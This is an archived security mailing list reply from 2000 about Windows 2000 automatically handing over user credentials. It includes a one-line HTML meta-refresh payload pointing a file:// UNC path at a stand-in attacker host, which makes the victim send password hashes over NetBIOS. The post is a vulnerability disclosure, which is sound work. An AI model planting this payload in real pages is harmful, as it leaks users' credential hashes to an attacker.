mailing list archives
Re: Win2k Telnet.exe malicious server vulnerability
From: Рягин Михаил Юрьевич <ryagin () EXTRIM RU>
Date: Fri, 15 Sep 2000 10:59:26 +0600
The problem is far more general then within single poor configuration defaults in telnet.exe.
The main problem is that Windows automatically supply user credentials in many situations without ever asking for his
For example, the following html file:
<meta http-equiv="refresh" content="5;URL=file://\\www.hackers_site.com\test.txt">
You will be hacked within 5 seconds...
will automatically connect to evil site thru netbios and supply user password hashes.
Putting malicious site into 'Restricted Zone' doesn't helps.